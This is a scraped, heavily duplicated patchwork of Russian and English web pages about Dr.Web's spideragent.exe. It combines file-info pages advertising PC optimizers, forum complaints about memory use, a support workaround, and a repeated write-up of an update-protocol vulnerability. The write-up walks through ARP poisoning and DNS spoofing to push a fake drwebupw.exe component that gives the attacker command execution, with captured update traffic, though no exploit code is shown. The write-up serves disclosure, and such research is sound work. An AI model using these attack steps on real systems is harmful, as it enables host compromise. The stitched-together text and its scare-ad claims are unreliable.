Spideragent exe spider agent for windows

filecheck .ru

Вот так, вы сможете исправить ошибки, связанные с spideragent.exe

Информация о файле spideragent.exe

Важно: Некоторые вредоносные программы маскируют себя как spideragent.exe, особенно, если они расположены в каталоге c:windows или c:windowssystem32. Таким образом, вы должны проверить файл spideragent.exe на вашем ПК, чтобы убедиться, что это угроза. Мы рекомендуем Security Task Manager для проверки безопасности вашего компьютера.

Комментарий пользователя

Лучшие практики для исправления проблем с spideragent

Если у вас актуальные проблемы, попробуйте вспомнить, что вы делали в последнее время, или последнюю программу, которую вы устанавливали перед тем, как появилась впервые проблема. Используйте команду resmon, чтобы определить процесс, который вызывает проблемы. Даже если у вас серьезные проблемы с компьютером, прежде чем переустанавливать Windows, лучше попробуйте восстановить целостность установки ОС или для Windows 8 и более поздних версий Windows выполнить команду DISM.exe /Online /Cleanup-image /Restorehealth. Это позволит восстановить операционную систему без потери данных.

spideragent сканер

Security Task Manager показывает все запущенные сервисы Windows, включая внедренные скрытые приложения (например, мониторинг клавиатуры или браузера, авто вход). Уникальный рейтинг надежности указывает на вероятность того, что процесс потенциально может быть вредоносной программой-шпионом, кейлоггером или трояном.

Бесплатный aнтивирус находит и удаляет неактивные программы-шпионы, рекламу, трояны, кейлоггеры, вредоносные и следящие программы с вашего жесткого диска. Идеальное дополнение к Security Task Manager.

Reimage бесплатное сканирование, очистка, восстановление и оптимизация вашей системы.

Источник

3 простых шага по исправлению ошибок SPIDERAGENT.EXE

Файл spideragent.exe из Doctor Web, Ltd является частью SpIDerAgent. spideragent.exe, расположенный в Unknown file path с размером файла unknown байт, версия файла Unknown version, подпись not found.

В вашей системе запущено много процессов, которые потребляют ресурсы процессора и памяти. Некоторые из этих процессов, кажется, являются вредоносными файлами, атакующими ваш компьютер.
Чтобы исправить критические ошибки spideragent.exe,скачайте программу Asmwsoft PC Optimizer и установите ее на своем компьютере

1- Очистите мусорные файлы, чтобы исправить spideragent.exe, которое перестало работать из-за ошибки.

2- Очистите реестр, чтобы исправить spideragent.exe, которое перестало работать из-за ошибки.

3- Настройка Windows для исправления критических ошибок spideragent.exe:

Всего голосов ( 181 ), 115 говорят, что не будут удалять, а 66 говорят, что удалят его с компьютера.

Как вы поступите с файлом spideragent.exe?

Некоторые сообщения об ошибках, которые вы можете получить в связи с spideragent.exe файлом

(spideragent.exe) столкнулся с проблемой и должен быть закрыт. Просим прощения за неудобство.

(spideragent.exe) перестал работать.

spideragent.exe. Эта программа не отвечает.

(spideragent.exe) — Ошибка приложения: the instruction at 0xXXXXXX referenced memory error, the memory could not be read. Нажмитие OK, чтобы завершить программу.

(spideragent.exe) не является ошибкой действительного windows-приложения.

(spideragent.exe) отсутствует или не обнаружен.

SPIDERAGENT.EXE

Проверьте процессы, запущенные на вашем ПК, используя базу данных онлайн-безопасности. Можно использовать любой тип сканирования для проверки вашего ПК на вирусы, трояны, шпионские и другие вредоносные программы.

процессов:

Cookies help us deliver our services. By using our services, you agree to our use of cookies.

Источник

Spideragent.exe «кушает» память.

Две недели назад он же (на пару с Брюсом Когсвеллом) выпустил новую тулзу VMMap.

VMMap is a process virtual and physical memory analysis utility.

Уже месяц прошёл! А у меня по прежнему этот процесс кушает память!(((

Уже месяц прошёл! А у меня по прежнему этот процесс кушает память!(((

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

Сейчас же:
dwengine.exe
spidernt.exe
SpIDerAgent.exe
spiderui.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

the Spirit of the Enlightenment

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

предлагаю вообще спрятать все процессы. это даже проще.

the Spirit of the Enlightenment

предлагаю вообще спрятать все процессы. это даже проще.

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

Мне уже как бы всё равно. Я купил лицензию на KIS на днях и доволен как слон.
А доктор, к сожалению, как мамонт. Отстал на много.

Выпустили РЕЛИЗ, который есть память. Ну это, извините, ни в какие ворота!

По всей видимости, они чем-то упакованы.
В логе спайдера есть что-то относительно проверки этих файлов?

это который spidernt.log? нет ничего, но выход я нашел. и как я раньше не догадался. добавил в список исключаемых.

Источник

Спайдер агент. Остановка работы.

Обращаюсь к спецам. Доктором пользуюсь седьмой год покупаю лицензию.

Проблем не было, последние 3 года был на шестой версии из за ошибки на 7,8,9 версиях 6008. В июне прошлого года, когда узнал, что в 10-й версии эту ошибку исправили перешел на 10-ю версию. Доктор работал прекрасно, пока я в сентябре не сменил винду и на чистую ось установил 10-ю версию.

Проблеме начались почти сразу. Значок доктора в трее стал прятаться и его ручками приходилось выковыривать, что бы видеть, ну как 6 лет я его видел, а вдруг он спрятан, нервирует.

Я обратился в тех поддержку и вот получил такой ответ:

«> значок был на видном месте, а после установки новой виндовс он стал прятаться и каждое утро мне надо заходить в настройки и ставить «показать значок и уведомления», и только тогда он становится видимым. Можно ли это исправить?
Зависит от системных настроек. Могу лишь связывать с тем, что агент антивируса запускается через системный реестр HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun (ключ SpIDerAgent), как обычный процесс без привилегий администратора.
Как обходной вариант, убрать из реестра запуск агента (сперва отключить самозащиту антивируса) и в планировщике заданий создать задачу для агента («C:Program FilesDrWebspideragent.exe»), которая будет выполняться при входе в систему с наивысшими правами, можно сделать скрытой. Либо использовать готовую созданную задачу SpIDerAgent.xml (файл прикреплён к запросу), достаточно импортировать в планировщик заданий, но не забудьте удалить из реестра ангент.»

Я все сделал, удалил из реестра, вставил в планировщик заданий данный файл спайдер агента. А вот теперь новая беда, такой раньше и не было ни когда. при чем второй раз за 10 дней.

Источник
SpIDer Agent for Windows
Сводка
Остановка работы
Дата
‎21.‎11.‎2015 8:54
Состояние
Отчет отправлен
Описание
Неправильный путь приложения: C:Program FilesDrWebspideragent.exe
Дополнительные сведения о проблеме
Код черпака: 104884495.

Спецы подскажите пенсионеру, что с этим делать:

1. может удалить доктора и снова поставить?

2. может удалить 10-ю версию и поставить шестую?

3. может поставить 11 версию, но там, как я слышал, ошибка 6008.

4. А может из планировщика заданий убрать спайдер агент.

Источник

Эксплуатация уязвимости в процедуре обновления DrWeb

В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.

В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные:

Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

Описание уязвимости

GET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes

GET /x64/600/av/windows/drweb32.flg HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]

LinkNews=http://news.drweb.com/flag+800/
LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
FileName=
isTime=1
TimeX=1420122293
cmdLine=
Type=1
ExcludeOS=2k|xp64
ExcludeDwl=ja
ExcludeLCID=17|1041
[signature]
sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Content-Type: application/octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
Connection: keep-alive
Accept-Ranges: bytes

.>UX.E… (другие данные опущены)

Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:

Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории

GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
X-DrWeb-KeyNumber: 0110242389
X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 02:02:36 GMT
Content-Type: application/octet-stream
Content-Length: 5712
Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
Connection: keep-alive
Accept-Ranges: bytes

Dr.Web ® version 4.20+ Anti-Virus Database
Copyright © by Igor Daniloff, 1998-2014
Created by Doctor Web Anti-Virus Labs, St.Petersburg
IDRW4. CR/.U.._.C..9G.

В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:

Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:

Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.

Эксплуатация

Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:

Таким образом, трафик после эксплуатации пойдет по следующей схеме:

При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe

Клиент успешно его примет и перезапишет оригинальный компонент:

Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.

Источник

Spideragent.exe file information

The process known as SpIDer Agent for Windows or Dr.Web KATANA Agent belongs to software Dr.Web Security Space or Dr.Web or Dr.Web KATANA or Dr.Web Anti-virus for Windows or Dr.Web anti-virus for Windows or Dr.Web Security Space Pro or Dr.Web AV-Desk Agent by (www.drweb.com).

Description: Spideragent.exe is not essential for Windows and will often cause problems. The file spideragent.exe is located in a subfolder of «C:Program Files (x86)» (primarily C:Program Files (x86)DrWeb).
Known file sizes on Windows 10/11/7 are 13,179,660 bytes (76% of all occurrences), 7,518,560 bytes and 4 more variants.  
Spideragent.exe is not a Windows core file. The file has a digital signature. The spideragent.exe file is a Verisign signed file. The program has no visible window.
Spideragent.exe is able to manipulate other programs, record keyboard and mouse inputs and monitor applications.
Therefore the technical security rating is 21% dangerous; however you should also read the user reviews.

Uninstalling this variant:
The developer Drweb provides a support site for assistance, and an uninstaller (Control Panel ⇒ Uninstall a Program ⇒ Dr.Web Security Space or Dr.Web KATANA).

Recommended: Identify spideragent.exe related errors

Important: Some malware camouflages itself as spideragent.exe. Therefore, you should check the spideragent.exe process on your PC to see if it is a threat. We recommend Security Task Manager for verifying your computer’s security. This was one of the Top Download Picks of The Washington Post and PC World.

Best practices for resolving spideragent issues

A clean and tidy computer is the key requirement for avoiding problems with spideragent. This means running a scan for malware, cleaning your hard drive using 1cleanmgr and 2sfc /scannow, 3uninstalling programs that you no longer need, checking for Autostart programs (using 4msconfig) and enabling Windows’ 5Automatic Update. Always remember to perform periodic backups, or at least to set restore points.

Should you experience an actual problem, try to recall the last thing you did, or the last thing you installed before the problem appeared for the first time. Use the 6resmon command to identify the processes that are causing your problem. Even for serious problems, rather than reinstalling Windows, you are better off repairing of your installation or, for Windows 8 and later versions, executing the 7DISM.exe /Online /Cleanup-image /Restorehealth command. This allows you to repair the operating system without losing data.

To help you analyze the spideragent.exe process on your computer, the following programs have proven to be helpful: ASecurity Task Manager displays all running Windows tasks, including embedded hidden processes, such as keyboard and browser monitoring or Autostart entries. A unique security risk rating indicates the likelihood of the process being potential spyware, malware or a Trojan. BMalwarebytes Anti-Malware detects and removes sleeping spyware, adware, Trojans, keyloggers, malware and trackers from your hard drive.

Other processes

masetupcleaner.exe datacardmonitor.exe osa.exe spideragent.exe 2gistraynotifier.exe startmenux.exe powerreg scheduler v3.exe ssync.exe steamserverbrowser.exe aetcrss1.exe vghd.exe [all]

filecheck .ru

Вот так, вы сможете исправить ошибки, связанные с spideragent.exe

Информация о файле spideragent.exe

Важно: Некоторые вредоносные программы маскируют себя как spideragent.exe, особенно, если они расположены в каталоге c:windows или c:windowssystem32. Таким образом, вы должны проверить файл spideragent.exe на вашем ПК, чтобы убедиться, что это угроза. Мы рекомендуем Security Task Manager для проверки безопасности вашего компьютера.

Комментарий пользователя

Лучшие практики для исправления проблем с spideragent

Если у вас актуальные проблемы, попробуйте вспомнить, что вы делали в последнее время, или последнюю программу, которую вы устанавливали перед тем, как появилась впервые проблема. Используйте команду resmon, чтобы определить процесс, который вызывает проблемы. Даже если у вас серьезные проблемы с компьютером, прежде чем переустанавливать Windows, лучше попробуйте восстановить целостность установки ОС или для Windows 8 и более поздних версий Windows выполнить команду DISM.exe /Online /Cleanup-image /Restorehealth. Это позволит восстановить операционную систему без потери данных.

spideragent сканер

Security Task Manager показывает все запущенные сервисы Windows, включая внедренные скрытые приложения (например, мониторинг клавиатуры или браузера, авто вход). Уникальный рейтинг надежности указывает на вероятность того, что процесс потенциально может быть вредоносной программой-шпионом, кейлоггером или трояном.

Бесплатный aнтивирус находит и удаляет неактивные программы-шпионы, рекламу, трояны, кейлоггеры, вредоносные и следящие программы с вашего жесткого диска. Идеальное дополнение к Security Task Manager.

Reimage бесплатное сканирование, очистка, восстановление и оптимизация вашей системы.

Источник

3 простых шага по исправлению ошибок SPIDERAGENT.EXE

Файл spideragent.exe из Doctor Web, Ltd является частью SpIDerAgent. spideragent.exe, расположенный в Unknown file path с размером файла unknown байт, версия файла Unknown version, подпись not found.

В вашей системе запущено много процессов, которые потребляют ресурсы процессора и памяти. Некоторые из этих процессов, кажется, являются вредоносными файлами, атакующими ваш компьютер.
Чтобы исправить критические ошибки spideragent.exe,скачайте программу Asmwsoft PC Optimizer и установите ее на своем компьютере

1- Очистите мусорные файлы, чтобы исправить spideragent.exe, которое перестало работать из-за ошибки.

2- Очистите реестр, чтобы исправить spideragent.exe, которое перестало работать из-за ошибки.

3- Настройка Windows для исправления критических ошибок spideragent.exe:

Всего голосов ( 181 ), 115 говорят, что не будут удалять, а 66 говорят, что удалят его с компьютера.

Как вы поступите с файлом spideragent.exe?

Некоторые сообщения об ошибках, которые вы можете получить в связи с spideragent.exe файлом

(spideragent.exe) столкнулся с проблемой и должен быть закрыт. Просим прощения за неудобство.

(spideragent.exe) перестал работать.

spideragent.exe. Эта программа не отвечает.

(spideragent.exe) — Ошибка приложения: the instruction at 0xXXXXXX referenced memory error, the memory could not be read. Нажмитие OK, чтобы завершить программу.

(spideragent.exe) не является ошибкой действительного windows-приложения.

(spideragent.exe) отсутствует или не обнаружен.

SPIDERAGENT.EXE

Проверьте процессы, запущенные на вашем ПК, используя базу данных онлайн-безопасности. Можно использовать любой тип сканирования для проверки вашего ПК на вирусы, трояны, шпионские и другие вредоносные программы.

процессов:

Cookies help us deliver our services. By using our services, you agree to our use of cookies.

Источник

Наверняка не секрет, что практически каждая третья программа, установленная на компьютер, пытается себя засунуть в автозагрузку. Казалось бы, ничего плохого в этом нет, программа сама себя запускает и что-то там делает в фоновом режиме. В большинстве случаев в автозагрузке много лишних программ которые практически не нужны, однако при запуске операционной системы они существенно влияют на скорость ее загрузки. Сразу оговорюсь на современных быстрых процессорах и при наличии SSD диска это практически не заметно, а вот пользователи стареньких медленных компьютеров ощущают долгий процесс загрузки во всей красе.

На примере расскажу, как можно управлять этой автозагрузкой и оптимизировать процесс запуска операционной системы.

Первоначально нам необходимо вызвать диспетчер задач. Существует 4 способа (вернее я знаю о них) как это сделать.

Нажимаем правой клавишей мыши на кнопке «Пуск», и в выпадающем меню ищем «Диспетчер задач».

Выбираем «Диспетчер задач»

При выполнении одного из этих способ результат будет один запуститься «Диспетчер задач».

Для выполнения поставленной цели переходим на кладку «Автозагрузка». Видим следующую картину, непонятные программы, которые запускаются автоматически при загрузке операционной системы.

Список программ в автозагрузке у каждого пользователя будет свой, все зависит от установленных программ. В последнем столбце «Влияние на запуск» видно, какое приложение и как влияет на загрузку операционной системы. Проанализируем список программ. Для удобства я его пронумерую.

Для чего нужна та или иная программа узнать достаточно просто, не лениться и поискать в интернете. У меня запускается 14 программ, для себя сразу сделал описание, и картина сразу стала ясна, что мне нужно, а что нет.

Из этого списка я посчитал: 1,2,3,5,7,10,11,13,14 – данные программы мне не нужны в автозагрузке, из них 4 имею высокое влияние на загрузку операционной системы.

Для отключения, необходимо правой кнопкой мыши нажать на той или иной программе, появиться всплывающее меню и там выбрать «Отключить». Или достаточно, выделить программу и внизу нажать кнопку «Отключить».

На своем компьютере я на вряд ли замечу прирост загрузки, а вот Ваши мнения я бы хотел услышать.

Вам понравилась статья и есть желание помочь моему проекту, можете пожертвовать на дальнейшее развитие воспользовавшись формой ниже. Или достаточно просто открыть пару баннеров с рекламой, это тоже поможет мне, но и не затруднит Вас.

Источник

Spideragent.exe «кушает» память.

Две недели назад он же (на пару с Брюсом Когсвеллом) выпустил новую тулзу VMMap.

VMMap is a process virtual and physical memory analysis utility.

Уже месяц прошёл! А у меня по прежнему этот процесс кушает память!(((

Уже месяц прошёл! А у меня по прежнему этот процесс кушает память!(((

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

Сейчас же:
dwengine.exe
spidernt.exe
SpIDerAgent.exe
spiderui.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

the Spirit of the Enlightenment

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

предлагаю вообще спрятать все процессы. это даже проще.

the Spirit of the Enlightenment

предлагаю вообще спрятать все процессы. это даже проще.

Если не сложно, объясни мне. Поставил 5-ку и после 4-ки смущает большое кол-во файлов, которые постоянно висят в памяти. Я про файлы Доктора
Раньше имхо был просто spidernt.exe

В сумме они сейчас после двух дней аптайма отъедают 21 метр, через неделю с прожорливостью SpIDerAgent.exe будет все 100.
В 4-ке же spidernt.exe занимал что-то около 2 мегабайт.

Мне уже как бы всё равно. Я купил лицензию на KIS на днях и доволен как слон.
А доктор, к сожалению, как мамонт. Отстал на много.

Выпустили РЕЛИЗ, который есть память. Ну это, извините, ни в какие ворота!

По всей видимости, они чем-то упакованы.
В логе спайдера есть что-то относительно проверки этих файлов?

это который spidernt.log? нет ничего, но выход я нашел. и как я раньше не догадался. добавил в список исключаемых.

Источник

Эксплуатация уязвимости в процедуре обновления DrWeb

В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.

В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные:

Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

Описание уязвимости

GET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes

GET /x64/600/av/windows/drweb32.flg HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]

LinkNews=http://news.drweb.com/flag+800/
LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
FileName=
isTime=1
TimeX=1420122293
cmdLine=
Type=1
ExcludeOS=2k|xp64
ExcludeDwl=ja
ExcludeLCID=17|1041
[signature]
sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077

GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Content-Type: application/octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
Connection: keep-alive
Accept-Ranges: bytes

.>UX.E… (другие данные опущены)

Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:

Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории

GET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
X-DrWeb-KeyNumber: 0110242389
X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 02:02:36 GMT
Content-Type: application/octet-stream
Content-Length: 5712
Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
Connection: keep-alive
Accept-Ranges: bytes

Dr.Web ® version 4.20+ Anti-Virus Database
Copyright © by Igor Daniloff, 1998-2014
Created by Doctor Web Anti-Virus Labs, St.Petersburg
IDRW4. CR/.U.._.C..9G.

В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:

Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:

Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.

Эксплуатация

Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:

Таким образом, трафик после эксплуатации пойдет по следующей схеме:

При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe

Клиент успешно его примет и перезапишет оригинальный компонент:

Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:

На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.

Источник

В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.

В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.

Исходные данные:

В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.

Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:

Описание уязвимости

Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.

Процесс выполняется в следующей последовательности:

1. Запрос метки времени — timestamp

   Пример запроса

   GET /x64/600/av/windows/timestamp
   HTTP/1.1 Accept: */*
   Host: update.drweb.com
   X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
   X-DrWeb-KeyNumber: 0110258647
   X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
   User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
